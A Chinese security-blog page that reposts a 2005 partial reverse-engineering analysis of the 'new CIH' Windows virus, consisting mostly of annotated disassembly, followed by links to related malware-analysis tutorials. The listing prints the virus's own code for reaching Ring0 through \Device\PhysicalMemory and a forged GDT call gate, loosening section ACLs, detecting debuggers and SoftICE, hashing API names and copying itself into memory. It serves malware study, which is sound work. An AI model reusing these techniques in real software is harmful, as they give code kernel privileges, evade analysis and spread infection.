"新 CIH" 病毒的部分反汇编分析

[网络安全自学篇] 五.IDA反汇编工具初识及逆向工程解密实战 这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。上一篇文章分享了实验吧CFT实战的题目,涉及WEB渗透和隐写术常见题型,包括“这是什么”、“天网管理系统”、“忘记密码”、“false”、“天下武功唯快不破”和“隐写术之水果、小苹果”;这一篇文章将详细讲解IDA Pro反汇编工具的基础用法,并简单讲解一个EXE逆向工程解密实战方法。希望对入门的博友有帮助,大神请飘过,谢谢各位看官! 阅读详情
;========================================================================
; Created by codez @2005.
; Date: 2005/06/19
; 转载请保留此信息,谢谢!
;========================================================================
; 说明:
;    抱歉,这里的分析并不完整,我会抽空补上。
;
;    欠缺注视部分为 Ring0 代码 (欠缺内容包括:进入Ring0 后的检查部分以及Ring0驻留部分)
;    原因: 这个东西在我的 Win2K Pro SP4 和 WinXP SP2 上面根本不能进入 Ring0,完全模拟分析太费事:(
;
;    一些有用的部分:
;        1. 病毒判断自身是否驻留内存的标志:  if (dr0 == 0x474E4159) goto has_in_memory;
;        2. 病毒发作条件:
;            mov     ax, 1016h
;            out     70h, al
;            in      al, 71h
;            xchg    ah, al
;            out     70h, al
;            in      al, 71h
;
;            xor     ax, 926h        ; 这个发作条件太苛刻了,几乎没有电脑能够触发它!
;            jnz     do_not_trigger    ; 真不知道为什么瑞星要把它的等级定的那么高!!!
;
;=========================================================================
; 其他:
;    由于 codez 水平有限,分析也比较匆忙 (大概花了两个晚上的时间),另外还有一些东西也是初次接触,
;    如果有任何错误,请发信通知我!不胜感激!
;=========================================================================
; 警告:
;    本文仅供学习研究之用,任何人不得将其用于非法用途,对于任何与之相关所带来的后果均由使用者
;    承担。
;=========================================================================

block2_addr    dd 5683Ah        ; 45683A 这里指向 block2 (block2 包含破坏代码)
block1_len    dd 93Dh

; 圹圹圹圹圹圹圹?S U B    R O U T    I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹


        public start
start        proc near
        call    $+5
        pop    ebp
        add    ebp, 376h    ; ebp =    453A3E
        lea    edi, [ebp-8]    ; edi =    453A36
        nop
        nop
        nop
        mov    ebx, [esp+0]    ; Fetch    data: dword ptr    [esp] -> pointer to Kernel32 hModule
        cmp    ebx, 80000000h    ; Do not run on    Win9X system.
        ja    go_run_host
============================
        mov    ebx, 77E00000h    ; ugly code, but can be    work!
        call    seek_module_and_apis ; ;===========================================
                    ; ; input:
                    ; ;    edi -> HMODULE Name
                    ; ;    ebx -> HMODULE fuzzy addr in memory
                    ; ;===========================================
        lea    eax, [ebp-143h]
        push    eax        ; seh error handler: 4538FB
        xor    eax, eax
        push    dword ptr fs:[eax]
        mov    fs:[eax], esp
        call    Load_apis
        push    4
        push    1000h
        push    17A8h
        nop
        push    0
        call    dword ptr [ebp+20h] ; VirtualAlloc
        nop
        nop
        nop
        or    eax, eax
        jz    go_run_host
        cld
        lea    esi, [ebp-37Bh]    ; esi -    004536C3 (virus    start addr)
        mov    edi, eax
        mov    edx, ebp
        sub    edx, [ebp-14Fh]    ; edx =    400000 (hModule)
        sub    esi, edx

loop_move_virus:            ; CODE XREF: start+7Ej
        add    esi, edx
        movzx    ecx, word ptr [esi-4] ;    93D
        push    esi
        rep movsb        ; move virus body to new memory    alloced

        pop    esi
        mov    esi, [esi-8]
        or    esi, esi
        jnz    short loop_move_virus

        mov    [ebp+0E2h], eax    ; [453B20] = hMemAlloced
        lea    edx, [ebp-57h]    ; 004539E7 (unicode: /Device/PhysicalMemory)
        nop
        nop
        nop
        lea    edi, [ebp-20h]    ; [453A1E]
        nop
        nop
        nop
        mov    [ebp-5Bh], edx    ; [4539E3] = edx
        nop
        nop
        nop
        and    di, 0FFFCh    ; 00453A1C
        push    edi
        push    18h
        pop    ecx
        push    ecx
        xor    eax, eax
        rep stosb        ; clear    memory
        pop    ecx
        pop    edi
        mov    esi, edi
        mov    [edi], eax
        mov    [esi], ecx    ; OBJECT_ATTRIBUTES.Length = 0x18
                    ; OBJECT_ATTRIBUTES.RootDirectory = 0
        add    edi, 8
        lea    eax, [edx-8]
        mov    [edi], eax    ; OBJECT_ATTRIBUTES.ObjectName = /Device/PhysicalMemory
        mov    dword ptr [edi+4], 240h    ; OBJECT_ATTRIBUTES.Attributes = 0x240
                    ; other    members    for OBJECT_ATTRIBUTES are 0
        push    esi
        push    6        ; #define SECTION_MAP_WRITE   0x0002
                    ; #define SECTION_MAP_READ    0x0004
        lea    edi, [ebp+10h]    ; HANDLE - 00453A4E
        nop
        nop
        nop
        push    edi
;# COPY FROM: WDM.H

;NTSTATUS 
;  ZwOpenSection(
;    OUT    PHANDLE     SectionHandle,
;    IN ACCESS_MASK  DesiredAccess,
;    IN POBJECT_ATTRIBUTES  ObjectAttributes
;    );

;#COPY FROM: NTDEF.H

;typedef    struct _OBJECT_ATTRIBUTES32 {
;    ULONG Length;
;    ULONG RootDirectory;
;    ULONG ObjectName;
;    ULONG Attributes;
;    ULONG SecurityDescriptor;
;    ULONG SecurityQualityOfService;
;} OBJECT_ATTRIBUTES32;
        call    dword ptr [ebp+3Ah] ; ZwOpenSection
        nop
        nop
        nop
        or    eax, eax
        jz    ok_USE_GDT_enter_ring0 ; 453A1B
        push    esi

;=======================================
;#define    MEM_PRIVATE        0x20000    
;#define    MEM_MAPPED        0x40000
;=======================================
        push    60000h
        push    edi
        call    dword ptr [ebp+3Ah] ; ZwOpenSection
        nop
        nop
        nop
        push    esi
        xor    ebx, ebx
        push    ebx
        mov    eax, esp
        push    ebx
        mov    esi, esp
        push    eax
        push    ebx
        push    esi
        push    ebx
        push    ebx
        push    4
        push    6
        push    dword ptr [edi]
        call    dword ptr [ebp+52h] ; GetSecurityInfo
        nop            ; al = 6 ?
        nop
        nop
        push    20h
        pop    ecx
        lea    edi, [ebp+12Eh]    ; 00453B6C
        push    edi
        xor    bl, bl
        rep stosb
        pop    edi
        inc    bl
        mov    byte ptr [edi],    2
        mov    [edi+4], bl
        mov    [edi+14h], bl
        mov    [edi+18h], bl
        call    push_string
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
aYangmin    db 'YANGMIN',0
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪

push_string:                ; CODE XREF: start+118p
        pop    dword ptr [edi+1Ch]
        push    ecx
        push    esp
start        endp

        push    dword ptr [esi]
        push    edi
        push    1
        call    dword ptr [ebp+5Ah] ; SetEntriesInAclA
        nop
        nop
        nop
        xor    ebx, ebx
        mov    eax, [esp]
        push    ebx
        push    eax
        push    ebx
        push    ebx
        push    4
        push    6
        mov    edi, [ebp+10h]
        nop
        nop
        nop
        push    edi
        call    dword ptr [ebp+56h] ; SetSecurityInfo
        nop
        nop
        nop
        push    edi
        call    dword ptr [ebp+3Eh] ; ZwClose
        nop
        nop
        nop
        add    esp, 0Ch
        push    6
        lea    edi, [ebp+10h]
        nop
        nop
        nop
        push    edi
        call    dword ptr [ebp+3Ah] ; ZwOpenSection
        nop
        nop
        nop
        or    eax, eax
        jnz    go_run_host

ok_USE_GDT_enter_ring0:            ; CODE XREF: start+CEj
        lea    ecx, [ebp-23h]    ; 453A1B
        nop
        nop
        nop
        sgdt    qword ptr [ecx]    ; get gdtr info
        inc    dword ptr [ecx]    ; gdtr limit + 1
        movzx    edi, word ptr [ecx] ; edi = gdt    length
        mov    ebx, edi
        mov    edx, [ecx+2]    ; edx =    gdt base (the value often is 0x80036000)
        cmp    edx, 80000000h
        jb    loc_4538D9    ; 453A4E
        cmp    edx, 0A0000000h
        ja    short loc_4538D9 ; 453A4E
        nop
        nop
        nop
        nop
        and    edx, 1FFFF000h    ; maybe    36000
        push    edi
        push    edx
        push    0
        push    6
        push    dword ptr [ebp+10h] ; ZwOpenSection HANDLE returned (453A4E)
        nop
        nop
        nop
        call    dword ptr [ebp+24h] ; MapViewOfFile (453A62)
===================================
NOW! Return value: eax - gdt table
===================================
        nop
        nop
        nop
        or    eax, eax
        jz    short loc_4538D9 ; 453A4E
        nop
        nop
        nop
        nop
        mov    ecx, edi
        shr    ecx, 3        ; gdt_item_max_count = gdt_table_len / 8
        dec    ecx        ; max_index_value
        dec    ebx
        and    bl, 0F8h    ; last gdt item    offset in the gdt table
        lea    edi, [eax+ebx]    ; last gdt item    addr in    mem

loc_45388B:                ; CODE XREF: .text:00453892j
        sub    edi, 8
        test    byte ptr [edi+5], 0Fh
        loopne    loc_45388B
        jnz    short loc_4538D9 ; 453A4E
==================================
NOW! EDI - is a    reserved gdt item
==================================
        nop
        nop
        nop
        nop
        add    edi, 8        ; the next gdt item for    using
        lea    edx, [ebp+5Eh]    ; enter    Ring0 with GDT way (call to 453A9C)
        nop
        nop
        nop
        lea    esi, [ebp-2Bh]    ; VIRUS    APPEND FAKE CALL GATE :    453A13
        nop
        nop
        nop
====================================
FILL OFFSET FOR    VIRUS CALL GATE
====================================
        mov    [esi], dx
        shr    edx, 10h
        mov    [esi+6], dx
====================================
        push    edi
        mov    ecx, 2
        rep movsd        ; insert virus fake gate into gdt

        pop    edi
        mov    edx, edi
        sub    edx, eax
        or    dl, 3        ; selector for call (edi = index<<3+3)
        lea    eax, [ebp+0Ch]    ; 453A4A
        nop
        nop
        nop
        mov    [eax+4], dx    ; [453A4E] = DX
        push    eax
        push    26h
        call    dword ptr [ebp+28h] ; Sleep ();    //453A66
        nop
        nop
        nop
        pop    eax
        call    fword ptr [eax]    ; enter    Ring0 Game

loc_4538D9:                ; CODE XREF: .text:0045384Cj
                    ; .text:00453858j .text:00453878j
                    ; .text:00453894j
        push    dword ptr [ebp+10h] ; 453A4E
        nop
        nop
        nop
        call    dword ptr [ebp+3Eh] ; ZwClose 453A7C
        nop
        nop
        nop
        xor    eax, eax
        pop    dword ptr fs:[eax] ; remove virus seh handler
        add    esp, 8

go_run_host:                ; CODE XREF: start+1Bj    start+56j
                    ; .text:0045382Dj Load_apis+Dj
                    ; Load_apis+24j .text:00453950j
                    ; push_call_module_2+8j
        sub    ebp, 53A3Eh
        add    ebp, 3F491h    ; Original RVA = 3F491 (EPO = 43F491)
        push    ebp
        retn
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪

seh_handler2:
        call    $+5
        pop    eax
        lea    eax, [eax-13h]
        push    eax
        mov    eax, [esp+10h]
        pop    dword ptr [eax+0B8h]
        xor    eax, eax
        retn

; 圹圹圹圹圹圹圹?S U B    R O U T    I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹


Load_apis    proc near        ; CODE XREF: start+3Ap
        pusha
        pushf
        mov    eax, [ebp-64h]
        nop
        nop
        nop
        cmp    eax, 77E60000h
        jnz    short go_run_host

        call    dword ptr [ebp+14h] ; IsDebuggerPresent
        nop
        nop
        nop
        or    eax, eax
        jnz    short loc_453934 ; jmp is debugger detected!
                    ; clear    eax if your debugger was detected!
        nop
        nop
        nop
        nop
        call    check_softice_in_memory

loc_453934:                ; CODE XREF: Load_apis+17j
        or    eax, eax
        jnz    short go_run_host
        popf
        popa
        call    push_module_name ; LoadLibrary
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
aAdvapi32    db 'advapi32',0
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪

push_module_name:            ; CODE XREF: Load_apis+28p
        call    dword ptr [ebp+10h] ; LoadLibrary
        nop
        nop
        nop
        or    eax, eax
Load_apis    endp

        jz    short go_run_host
        mov    ebx, eax
        lea    edi, [ebp+42h]    ; 453a80
        nop
        nop
        nop
        call    seek_module_and_apis ; ;===========================================
                    ; ; input:
                    ; ;    edi -> HMODULE Name
                    ; ;    ebx -> HMODULE fuzzy addr in memory
                    ; ;===========================================
        call    push_call_module_2
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
aNtdll        db 'ntdll',0

; 圹圹圹圹圹圹圹?S U B    R O U T    I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹


push_call_module_2 proc    near        ; CODE XREF: .text:0045395Fp
        call    dword ptr [ebp+10h]
        nop
        nop
        nop
        or    eax, eax
        jz    go_run_host
        mov    ebx, eax
        lea    edi, [ebp+2Ch]
        nop
        nop
        nop
        call    seek_module_and_apis ; ;===========================================
                    ; ; input:
                    ; ;    edi -> HMODULE Name
                    ; ;    ebx -> HMODULE fuzzy addr in memory
                    ; ;===========================================
        retn
push_call_module_2 endp


; 圹圹圹圹圹圹圹?S U B    R O U T    I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹


check_softice_in_memory    proc near    ; CODE XREF: Load_apis+1Dp
        xor    eax, eax
        push    eax
        push    80h
        push    3
        push    eax
        inc    eax
        push    eax
        add    eax, 0Bh
        push    eax
        call    push_ntice_string
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
a_Ntice        db '//./NTICE',0
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪

push_ntice_string:            ; CODE XREF: check_softice_in_memory+11p
        call    dword ptr [ebp+18h]
check_softice_in_memory    endp

        nop
        nop
        nop
        inc    eax
        jnz    short loc_4539BE
        nop
        nop
        nop
        nop
        dec    eax
        push    eax
        call    dword ptr [ebp+1Ch] ; CloseHandle
        nop
        nop
        nop
        xor    eax, eax
        retn
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪

loc_4539BE:                ; CODE XREF: .text:004539ADj
        mov    eax, 2
        retn
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
        add    [ecx+4Dh], bl
        and    [ebx+49h], cl
        dec    esp
        dec    esp
        and    [ecx+4Fh], bl
        push    ebp
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    1    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
hKernel32    dd 80400000h
        db  90h    ; 
        db  2Ch    ; ,
        db    0    ;  
        db  2Eh    ; .
        db    0    ;  
        db  32h    ; 2
        db  46h    ; F
        db  44h    ; D
        db    0    ;  
        db  5Ch    ; /        ; unicode: /Device/PhysicalMemory
        db    0    ;  
        db  44h    ; D
        db    0    ;  
        db  65h    ; e
        db    0    ;  
        db  76h    ; v
        db    0    ;  
        db  69h    ; i
        db    0    ;  
        db  63h    ; c
        db    0    ;  
        db  65h    ; e
        db    0    ;  
        db  5Ch    ; /
        db    0    ;  
        db  50h    ; P
        db    0    ;  
        db  68h    ; h
        db    0    ;  
        db  79h    ; y
        db    0    ;  
        db  73h    ; s
        db    0    ;  
        db  69h    ; i
        db    0    ;  
        db  63h    ; c
        db    0    ;  
        db  61h    ; a
        db    0    ;  
        db  6Ch    ; l
        db    0    ;  
        db  4Dh    ; M
        db    0    ;  
        db  65h    ; e
        db    0    ;  
        db  6Dh    ; m
        db    0    ;  
        db  6Fh    ; o
        db    0    ;  
        db  72h    ; r
        db    0    ;  
        db  79h    ; y
        db    0    ;  
===================================
VIRUS APPEND FAKE CALL GATE
===================================
        dw 46E7h        ; OFFSET LOWORD
        dw 8            ; SELECTOR
        db 0            ; COUNT
        db 0ECh            ; P:1; DPL:3; DT:0(SYS/GATE); TYPE:C(386 CALL GATE);
        dw 44h            ; OFFSET HIWORD
==================================
        db    0    ;  
        db    4    ;  
        db    0    ;  
        db  60h    ; `
        db    3    ;  
        db  80h    ; €
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db  2Ah    ; *
        db  46h    ; F
        db  44h    ; D
        db    0    ;  
        db  40h    ; @
        db    2    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
        db    0    ;  
============================
        db  4Bh    ; K
        db  45h    ; E
        db  52h    ; R
        db  4Eh    ; N
        db  45h    ; E
        db  4Ch    ; L
        db  33h    ; 3
        db  32h    ; 2
============================
kernel32_api_hash_code_table
============================
        dw 0F3D5h
        dw 1336h
        dw 8406h
        dw 4873h
        dw 0C6C7h
        dw 66F4h
        dw 837Fh
-------------------------
        dw 0            ; separator
=============================
KERNEL32.DLL
=============================
addr_LoadLibraryA dd 6C8h        ; later, the dword will    be used    for 
                    ; storing HANDLE of ZwOpenSection
addr_IsDebuggerPresent dd 77E6171Dh
addr_CreateFileA dd 77E6B66Dh
addr_CloseHandle dd 77E676F6h
addr_VirtualAlloc dd 77E67F50h
addr_MapViewOfFile dd 77E6D2D7h
addr_Sleep    dd 77E675E0h
=========================
        db  6Eh    ; n
        db  74h    ; t
        db  64h    ; d
        db  6Ch    ; l
        db  6Ch    ; l
        db  2Eh    ; .
        db  64h    ; d
        db  6Ch    ; l
=======================
        dw 0F092h
        dw 0BCC8h
        dw 0
ZwOpenSection    dd 77F86AD5h
ZwClose        dd 77F83763h
==============================
        db  41h    ; A
        db  44h    ; D
        db  56h    ; V
        db  41h    ; A
        db  50h    ; P
        db  49h    ; I
        db  33h    ; 3
        db  32h    ; 2
==============================
        dw 6313h
        dw 0DEA4h
        dw 39A9h
        dw 0
addr_GetSecurityInfo dd    77DC1B02h
addr_SetSecurityInfo dd    77DC1BA3h
addr_SetEntriesInAclA dd 77D92DB6h
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
==============================

VIRUS_RING0_GAME:
        pusha
        pushf
        cli
        call    $+5
        pop    ebp        ; ebp =    453AA4
        lea    edi, [ebp+0A8h]    ; 453B4C: "ntoskrnl"
        xor    edx, edx
        mov    ebx, 80400000h
        mov    [edi+20h], edx
        nop
        nop
        nop
        call    seek_module_and_apis ; ;===========================================
                    ; ; input:
                    ; ;    edi -> HMODULE Name
                    ; ;    ebx -> HMODULE fuzzy addr in memory
                    ; ;===========================================
        cmp    [edi+20h], edx
        nop
        nop
        nop
        jz    loc_453B49
        cld
        mov    edx, [edi+24h]
        nop
        nop
        nop
        mov    edx, [edx+1]
        mov    eax, [edi+20h]
        nop
        nop
        nop
        mov    eax, [eax]
        mov    edi, [eax+edx*4]
        mov    ecx, [ebp+7Ch]
        nop
        nop
        nop
        mov    [ecx+5EBh], edi
        mov    byte ptr [ecx+5FFh], 0
        mov    ecx, dr0
        cmp    ecx, 474E4159h    ; mask in memory?
        jz    short loc_453B49
        nop
        nop
        nop
        nop
        lea    edi, [eax+edx*4]
        push    4D59h
        push    30BEh
        nop
        push    0
        call    dword ptr [ebp+0D8h] ; maybe alloc a memory
        or    eax, eax
        jz    short loc_453B49
        nop
        nop
        nop
        nop
        push    edi
        mov    esi, 990000h
        push    esi
        mov    edi, esi
        lea    esi, [ebp-3E1h]    ; 4536C3
        mov    ecx, 5EAh
        nop
        rep movsb
        pop    esi
        mov    edi, eax
        push    0BD4h
        nop
        pop    ecx
        rep movsb
        pop    edi
        add    eax, 5EAh
        mov    [edi], eax

loc_453B49:                ; CODE XREF: .text:00453AC3j
                    ; .text:00453AFAj .text:00453B18j
        popf
        popa
        retf
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪
        db  6Eh    ; n        ; ntoskrnl
        db  74h    ; t
        db  6Fh    ; o
        db  73h    ; s
        db  6Bh    ; k
        db  72h    ; r
        db  6Eh    ; n
        db  6Ch    ; l
        dw 927Eh
        dw 75D8h
        dw 0B063h
        dw 9B3Ah
        dw 0C12Eh
        dw 90F8h
        dw 5B5Ah
        dw 0F72Eh
        dw 70EAh
        dw 2B7Ah
        dw 0BCC8h
        dw 0
        dd 8046D7A0h
        dd 80400A06h
        dd 8040120Ah
        dd 804016C6h
        dd 8046A6C0h
        dd 804A81C6h
        dd 804554E5h
        dd 8042D8A4h
        dd 8040141Ah
        dd 8040101Ah
        dd 80400986h
        dd 0

; 圹圹圹圹圹圹圹?S U B    R O U T    I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

; ;===========================================
; ; input:
; ;    edi -> HMODULE Name
; ;    ebx -> HMODULE fuzzy addr in memory
; ;===========================================

seek_module_and_apis proc near        ; CODE XREF: start+26p    .text:0045395Ap
                    ; push_call_module_2+16p
                    ; .text:00453AB8p
        pusha
        pushf
        call    $+5
        pop    ebp        ; EBP =    453BA3
        push    ebp
        lea    eax, [ebp+6Ch]    ; seh handler for error: 453C0F
        nop
        nop
        nop
        push    eax
        xor    ecx, ecx
        push    dword ptr fs:[ecx]
        mov    fs:[ecx], esp    ; __try
        sub    ebx, 10000h

loop_to_seek_pe_module:            ; CODE XREF: seek_module_and_apis+31j
                    ; seek_module_and_apis+3Dj
                    ; seek_module_and_apis+53j
                    ; seek_module_and_apis+5Bj
        add    ebx, 10000h    ; ebx =    77E00000h
        cmp    ebx, 80500000h
        ja    short hKernel32_found_end

        cmp    word ptr [ebx],    5A4Dh ;    MZ
        jnz    short loop_to_seek_pe_module

        mov    eax, [ebx+3Ch]
        add    eax, ebx
        cmp    word ptr [eax],    4550h ;    PE
        jnz    short loop_to_seek_pe_module


;==================================
; out:
;    eax - PE header pointer
;    ebx - hKernel32 (if correct)
;==================================
        mov    [ebp-1C9h], ebx    ; [4539DA] = hKernel32
        mov    eax, [eax+78h]
        add    eax, ebx    ; eax -    Export table rva

        mov    edx, [eax+0Ch]
        add    edx, ebx    ; edx =    DLL Module Name    rva
        mov    ecx, [edi]    ; edi -> KERNEL32

;check pe_file_export_name == 'KERNEL32'?
        cmp    [edx], ecx
        jnz    short loop_to_seek_pe_module
        mov    ecx, [edi+4]
        cmp    [edx+4], ecx
        jnz    short loop_to_seek_pe_module
;===============================
; out:
;    eax - export table    rva
;    ebx - hKernel32
;===============================

hKernel32_found_end:            ; CODE XREF: seek_module_and_apis+2Aj
        xor    ecx, ecx
        pop    dword ptr fs:[ecx]
        pop    esi
        pop    esi        ; esi =    453BA3
                    ; edi =    453A36
        add    edi, 8        ; edi =    453A3E

;=======================================
; if hKernel32 found, ebx is hInstance,
; else ebx is NULL.
;=======================================
        or    ebx, ebx
        jz    short loc_453C0C
        call    seek_all_api    ; input:
                    ;   ecx    = 0
                    ;   esi    = 453BA3
                    ;   edi    = 453A3E

loc_453C0C:                ; CODE XREF: seek_module_and_apis+69j
        popf
        popa
        retn
seek_module_and_apis endp

; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪

seh_handler:
        call    $+5
        pop    eax
        lea    eax, [eax-5Ah]
        push    eax
        mov    eax, [esp+10h]
        pop    dword ptr [eax+0B8h]
        xor    eax, eax
        retn

; 圹圹圹圹圹圹圹?S U B    R O U T    I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

; input:
;   ecx    = 0
;   esi    = 453BA3
;   edi    = 453A3E

seek_all_api    proc near        ; CODE XREF: seek_module_and_apis+6Bp

var_4        = dword    ptr -4

        cld
        dec    ecx        ; ecx =    0xffffffff
        push    eax
        xor    eax, eax
        repne scasw
        not    ecx
        dec    ecx
        push    ecx        ; length
        push    edi        ; 453A4E
        rep stosd        ; ZeroMemory
        pop    edi
        sub    edi, 4
        pop    ecx
        pop    eax
eax - export rva table
        mov    esi, [eax+20h]    ; Export function name directory rva
        add    esi, ebx
        mov    esi, [esi]
        add    esi, ebx
        xor    edx, edx
        push    ecx

loc_453C47:                ; CODE XREF: seek_all_api+5Aj
        push    ecx

loc_453C48:                ; CODE XREF: seek_all_api+3Bj
        cmp    edx, [eax+18h]
        pop    ecx
        jz    short loc_453C82
        push    ecx
        inc    edx
        push    eax
        call    creat_hash_code_for_api_name ; 
                    ; =================================
                    ; input:
                    ;   esi    - api name
                    ; output:
                    ;   eax    - hash code for    the api
                    ; =================================
        push    edi        ; edi -    453a4a
        std
        mov    ecx, [esp+10h+var_4]
        repne scasw        ; only match low word hash code
        pop    edi
        pop    eax
        jnz    short loc_453C48
        push    edx
        dec    edx
        push    edi
        mov    edi, [eax+24h]
        add    edi, ebx
        movzx    edx, word ptr [edi+edx*2]
        mov    edi, [eax+1Ch]
        add    edi, ebx
        mov    edx, [edi+edx*4]
        add    edx, ebx
        pop    edi
        mov    [edi+ecx*4+4], edx
        pop    edx
        pop    ecx
        loop    loc_453C47

loc_453C82:                ; CODE XREF: seek_all_api+26j
        pop    ecx
        retn
seek_all_api    endp


; 圹圹圹圹圹圹圹?S U B    R O U T    I N E 圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

; 
; =================================
; input:
;   esi    - api name
; output:
;   eax    - hash code for    the api
; =================================

creat_hash_code_for_api_name proc near    ; CODE XREF: seek_all_api+2Bp
        push    edx
        push    0FFFFFFFFh
        pop    edx
        cld

loc_453C89:                ; CODE XREF: creat_hash_code_for_api_name+24j
        lodsb
        or    al, al
        jz    short loc_453CAA
        nop
        nop
        nop
        nop
        xor    dl, al
        mov    al, 8

loc_453C96:                ; CODE XREF: creat_hash_code_for_api_name+22j
        shr    edx, 1
        jnb    short loc_453CA4
        nop
        nop
        nop
        nop
        xor    edx, 59414E47h

loc_453CA4:                ; CODE XREF: creat_hash_code_for_api_name+14j
        dec    al
        jnz    short loc_453C96
        jmp    short loc_453C89
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪

loc_453CAA:                ; CODE XREF: creat_hash_code_for_api_name+8j
        xchg    eax, edx
        pop    edx
        retn
creat_hash_code_for_api_name endp
[系统安全] 七.逆向分析之PE病毒原理、C++实现文件加解密及OllyDbg逆向 系统安全系列作者将深入研究恶意样本分析、逆向分析、攻防实战和Windows漏洞利用等,通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步。前文介绍了条件语句和循环语句源码还原及流程控制逆向。这篇文章将分享勒索病毒,通过编写程序实现获取Windows系统目录文件,并对其进行加密和解密的过程;第二部分详细讲解了OllyDbg和在线沙箱的逆向分析过程。希望对入门的同学有帮助。 阅读详情

相关推荐

[系统安全] 十一.那些年的熊猫烧香及PE病毒行为机理分析

如果你想成为一名逆向分析或恶意代码检测工程师,或者对系统安全非常感兴趣,就必须要认真分析一些恶意样本。熊猫烧香病毒就是一款非常具有代表性的病毒,当年造成了非常大的影响,并且也有一定技术手段。本文将详细讲解熊猫烧香的行为机理,并通过软件对其功能行为进行分析,这将有助于我们学习逆向分析和反病毒工作。后续作者还将对其进行逆向调试,以及WannaCry勒索蠕虫、各种恶意样本及木马的分析。基础性文章,希望您喜欢!同时,本文部分实验参考姜晔老师的视频分析,真的非常佩服和值得去学习的一位老师。技术路上哪有享乐,为了提升安

杨秀璋的专栏 7328

病毒分析与防护实验3—— 反汇编工具(Ollydbg)的使用

实验名称:病毒分析与防护实验3—— 反汇编工具的使用 实验目的 熟悉动态分析工具OllyDBG的界面和常用模块 熟悉静态分析工具IDA的界面和常用模块 掌握使用OllyDBG和IDA分析修改可执行文件的方法 实验原理 OD界面 窗口名称 作用 反汇编窗口 显示被调试程序的反汇编代码,标题栏上的地址、机器码、反汇编代码、注释。 寄存器窗口 显示当前所选线程的 CPU 寄存器内容 信息窗口 显示反汇编窗口中选中的第一个命令的参数及一些跳转目标地址、字串等 数据窗口 显

郭同学如是说 2833

[网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了XSS跨站脚本攻击案例,主要内容包括XSS原理、不同类型的XSS、XSS靶场9道题目、如何防御XSS。这篇文章将介绍Windows PE病毒, 包括PE病毒原理、分类及感染方式详解,并通过案例进行介绍。基础性文章,希望对您有所帮助~

杨秀璋的专栏 1万+

反汇编初级教程

这套课程是反汇编系列课程的基础阶段,后期将陆续推出反汇编进阶及反汇编课程。整套反汇编课程的教学目标是为了让大家能够窥息计算机程序世界的奥妙,为将来成为一名合格的大Hacker打下夯实的基础。 反汇编技术在计算机编程领域的应用非常广泛,从程序的性能优化到竞品软件的功能分析,从游戏外挂制作到大型厂商的反外挂体系,从木马病毒反人类到杀毒软件保平安等均需要从业者有深厚的反汇编功底。

软考信息安全工程师-第十四章《恶意代码防范技术原理》

恶意代码的英文是 Malicious Code,它是一种违背目标系统安全策略的程序代码,会造成目标系统信息泄露、资源滥用,破坏系统的完整性及可用性。它能够经过存储介质或网络进行传播,从一台计算机系统传到另外一台计算机系统,未经授权认证访问或破坏计算机系统。

不驚 30

19-5 ACC 自适应巡航控制系统需求

